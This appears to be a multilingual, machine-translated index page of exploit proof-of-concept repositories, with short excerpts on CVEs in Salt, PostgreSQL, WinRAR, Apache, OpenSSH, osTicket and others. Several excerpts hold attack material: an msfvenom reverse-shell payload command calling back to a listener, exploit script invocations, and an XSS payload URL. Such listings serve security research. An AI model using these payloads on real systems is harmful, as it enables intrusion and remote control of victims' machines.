CVE-2023-26866

CVE-2023-26866 Descrizione La WR-1200 Indoor Unit e la OT-235 di GreenPacket OH736, rispettivamente con versioni firmware M-IDU-1.6.0.3V1.1 e MH-46360-2.0.3-R5-GP, sono vulnerabili all'iniezione di comandi da remoto. I comandi vengono eseguiti tramite esecuzione pre-login e con privilegi di root,...

CVE-2020-11651-poc

PoC-Exploit für CVE-2020-11651 und CVE-2020-11652 Dies ist ein Proof-of-Concept-Exploit basierend auf dem ursprünglichen Check-Skript. Verwenden Sie es, um zu überprüfen, ob Sie Ihre Salt-Master-Server erfolgreich auf eine Version mit den erforderlichen Korrekturen aktualisiert haben. Dank an...

CVE-2022-41924

CVE-2022-41924 POC 👉 https://oalieno.tw/posts/tailscale-rce...

CVE-2019-9193byVulHub

CVE-2019-9193byVulHub Execução Arbitrária de Comandos no PostgreSQL com Privilégios de Administrador CVE-2019-9193 Descrição PostgreSQL é um poderoso sistema de gerenciamento de banco de dados relacional open-source. Uma vulnerabilidade presente nas versões 9.3 a 11 permite que administradores ou...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Use After Free Vulnerabilità Il riferimento alla memoria dopo che è stata liberata può causare l'arresto anomalo del programma, l'uso di valori imprevisti o l'esecuzione di codice. Descrizione della vulnerabilità Esiste una vulnerabilità di esecuzione di codice ...

CVE-2022-0848

CVE-2022-0848 Execução Remota de Código RCE no part-db 0.5.11 Altere o host no arquivo bash e execute...

CVE-2025-2005

CVE-2025-2005 - Pwn nel plugin WordPress Front-End Users By h4ckxel Info Rapida Plugin: Front-End Users Versioni vulnerabili: = 3.2.32 Tipo di bug: Arbitrary File Upload Punteggio CVSS: 10 Critico Rischio: Consente a qualsiasi attaccante senza autenticazione di caricare file arbitrari es. web she...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

CVE-2021-41773

CVE-2021-41773 Utilizzo root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py Cos'è CVE-2021-41773? CVE-2021-41773 Vulnerabilità di directory traversal in Apache HTTP Serv...

Windows-CVE-2024-38063

Windows CVE-2024-38063 ID CVE: CVE-2024-38063 Punteggio CVSS 3.1: 9.8 Critico Punteggio EPSS: Basso - 0.088% https://www.cvedetails.com/epss/CVE-2024-38063/epss-score-history.html Impatto: Esecuzione di codice remoto Componenti interessati: Stack TCP/IP di Windows Vettore d'attacco: Rete Remoto...

CVE-2024-36104

CVE-2024-36104 Dichiarazione Questo strumento è destinato esclusivamente a scopo di apprendimento e ricerca personale in ambito di sicurezza informatica. Qualsiasi conseguenza o danno, diretto o indiretto, derivante dalla diffusione o dall'utilizzo di questo strumento è di esclusiva responsabilit...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

PHP_CVE-2012-1823

Vulnerabilità di esecuzione remota di codice PHP-CGI CVE-2012-1823 Principio Articolo di riferimento: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ Versioni interessate: php...

Laravel-CVE-2018-15133

CVE-2018-15133 - Vulnerabilità di unserializzazione di Laravel APPKEY WhiteHat School 3ª generazione, classe 28, Lee Yebin - Virtualizzazione: configurazione Docker vulnerabile https://github.com/yeahhbean/Laravel-CVE-2018-15133 Panoramica Questo progetto è un ambiente basato su Docker, allestito...

CVE-2021-21985_PoC

CVE-2021-21985 Codice vulnerabile CLASS/METHODs disponibili, un piccolo esempio a scopo di PoC: com.vmware.vsan.client.services.capability.VsanCapabilityProvider root@kitploit: ../snip getClusterCapabilityData getHostCapabilityData getHostsCapabilitiyData getIsDeduplicationSupported...

CVE-2024-6387-Race-Condition-in-Signal-Handling-for-OpenSSH

CVE-2024-6387: Condição de Corrida no Tratamento de Sinais para OpenSSH Visão Geral CVE-2024-6387 é uma vulnerabilidade crítica descoberta no servidor OpenSSH sshd que permite a um atacante potencialmente alcançar execução remota de código RCE não autenticada como root. A vulnerabilidade surge de...

SharpStrike

SharpStrike SharpStrike è uno strumento di post-exploitation scritto in C che utilizza CIM o WMI per interrogare sistemi remoti. Può utilizzare credenziali fornite o la sessione dell'utente corrente. Nota: Alcuni comandi utilizzeranno PowerShell in combinazione con WMI, indicati con nel comando...

CVE-2019-2890

Aviso Apenas para fins de aprendizado e troca de conhecimento; qualquer outro uso é por sua conta e risco. Descrição Todos os arquivos jar relevantes já foram importados para o projeto, e o método de exploração utiliza o JRMP do yso. Durante o aprendizado e a depuração, você pode modificar o méto...

CVE-2022-32132

CVE-2022-32132 para osTicket | Sistema de Suporte a Tickets XSS Refletido: root@kitploit: Payload: " onmouseover="alert1 http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert1%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name...

CVE-2025-25706

CVE-2025-25706 وصف العنصر: root@kitploit: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix نوع الثغرة: تنفيذ التعليمات البرمجية عن...